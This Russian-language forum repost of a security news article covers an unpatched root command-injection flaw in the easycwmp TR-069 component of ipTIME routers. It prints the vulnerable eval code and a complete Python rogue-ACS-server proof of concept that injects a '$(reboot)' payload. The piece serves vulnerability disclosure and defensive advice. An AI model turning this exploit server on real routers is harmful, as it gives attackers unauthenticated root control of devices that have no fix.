Новости Написали $(reboot) — и роутер перезагрузился. Миллионы устройств ipTIME беззащитны, патча нет

NewsMaker

I'm just a script
Премиум
26,739
46
8 Ноя 2022
Вот как выглядит критическая уязвимость, которую никто не чинит.


gop3632h5h56ys15unks6n50o5avzp05.jpg


В роутерах ipTIME с прошивкой 15.324 нашли уязвимость, которая позволяет выполнить команду удалённо и без авторизации. Проблема затрагивает CWMP , протокол удалённого управления роутерами, через который провайдеры обычно меняют настройки, проводят диагностику, обновляют прошивку и перезагружают устройства.

Уязвимость обнаружил исследователь parkminchan из SSD Labs Korea. Команда пыталась связаться с ipTIME по нескольким каналам, включая электронную почту и южнокорейское агентство KISA, но ответа от производителя получить не удалось.

Ошибка находится в компоненте easycwmp. В нормальной схеме роутер связывается с ACS-сервером оператора, получает SOAP-сообщение и применяет переданные параметры. Но в прошивке ipTIME значение параметра попадает во временный файл без нормальной проверки, а затем выполняется через оболочку с правами root.

В файле <code>/usr/share/easycwmp/functions/common</code> функция <code>common_set_value_check_param()</code> берёт переданный аргумент, сохраняет его в переменную <code>val</code> и добавляет строку с командой во временный файл:

<pre><code>common_set_value_check_param() {local arg="$1" ...local val="$arg" // [0]...echo "$refparam<delim>$setcmd \"$val\"<delim>$getcmd" >> $set_command_tmp_file // [1] } ...</code></pre> Дальше за дело берётся <code>/usr/sbin/easycwmp</code>. Компонент получает SOAP-сообщение от ACS-сервера, читает подготовленный временный файл построчно и извлекает команду, которую нужно применить к параметру:

<pre><code>if [ "$action" = "apply_value" ]; thenwhile read line; do [ -z "$line" ] && continue local setcmd=${line#*<delim>} setcmd=${setcmd%<delim>*} eval "$setcmd" // [2]done < $set_command_tmp_file fi ...</code></pre> Опасная часть здесь — eval . Оболочка не просто воспринимает строку как данные, а разбирает её как команду. Поэтому значение параметра вида <code>$(reboot)</code> превращается в системный вызов. Так как easycwmp работает с высокими привилегиями, внедрённая команда запускается от имени root.

Для проверки уязвимости исследователь подготовил вредоносный ACS-сервер. Скрипт на Python отвечает на запрос роутера, отправляет SOAP-команду <code>SetParameterValues</code> и передаёт в параметр <code>InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time</code> полезную нагрузку <code>$(reboot)</code>:

<pre><code>#!/usr/bin/env python3 import sys import html import http.server PAYLOAD = "$(reboot)" PORT = 80 NS = ('xmlns:soap_env="http://schemas.xmlsoap.org/soap/envelope/" ''xmlns:soap_enc="http://schemas.xmlsoap.org/soap/encoding/" ''xmlns:xsd="http://www.w3.org/2001/XMLSchema" ''xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ''xmlns:cwmp="urn:dslforum-org:cwmp-1-2"' ) INFORM_RESP = (f'<?xml version="1.0"?>'f"<soap_env:Envelope {NS}>"'<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">{id}</cwmp:ID></soap_env:Header>'"<soap_env:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></soap_env:Body>""</soap_env:Envelope>" ) SET_PARAM = (f'<?xml version="1.0"?>'f"<soap_env:Envelope {NS}>"'<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">1</cwmp:ID></soap_env:Header>'"<soap_env:Body><cwmp:SetParameterValues>"'<ParameterList soap_enc:arrayType="cwmp:parameterValueStruct[1]">'"<ParameterValueStruct>""<Name>{name}</Name>"'<Value xsi:type="xsd:string">{value}</Value>'"</ParameterValueStruct></ParameterList>""<ParameterKey>k</ParameterKey>""</cwmp:SetParameterValues></soap_env:Body>""</soap_env:Envelope>" ) EMPTY = (f'<?xml version="1.0"?>'f"<soap_env:Envelope {NS}>"'<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">0</cwmp:ID></soap_env:Header>'"<soap_env:Body/>""</soap_env:Envelope>" ) sessions = {} class Handler(http.server.BaseHTTPRequestHandler):def do_POST(self): body = self.rfile.read(int(self.headers.get("Content-Length", 0))) ip = self.client_address[0] step = sessions.get(ip, 0) if step == 0 and b"Inform" in body: cid = "1" if b"<cwmp:ID" in body:i = body.index(b">", body.index(b"<cwmp:ID")) + 1cid = body[i : body.index(b"</", i)].decode(errors="replace") sessions[ip] = 1 self.respond(INFORM_RESP.format(id=cid)) elif step == 1: sessions[ip] = 2 self.respond(SET_PARAM.format( name=html.escape( "InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time" ), value=html.escape(PAYLOAD),) ) else: sessions.pop(ip, None) self.respond(EMPTY)def respond(self, xml): data = xml.encode() self.send_response(200) self.send_header("Content-Type", "text/xml") self.send_header("Content-Length", len(data)) self.end_headers() self.wfile.write(data) if __name__ == "__main__":http.server.HTTPServer(("", PORT), Handler).serve_forever()</code></pre> В лабораторной проверке роутер специально настраивали на подключение к вредоносному ACS-серверу. В реальной сети атака может пройти опаснее: если устройство уже использует CWMP и связывается с легитимным сервером провайдера, злоумышленник может попытаться вклиниться в обмен через MITM-атаку и подменить SOAP-команды.

При успешном перехвате атакующий получает возможность передать роутеру собственное значение параметра. Уязвимый easycwmp запишет строку во временный файл, затем выполнит её через <code>eval</code>. В результате команда запустится до входа в административную панель и без знания пароля от устройства.

Пока производитель не выпустил исправление, владельцам уязвимых устройств стоит проверить, используется ли CWMP, ограничить доступ к интерфейсам удалённого управления и по возможности отключить TR-069, если функция не нужна для работы с провайдером.
 
Источник новости
www.securitylab.ru

Похожие темы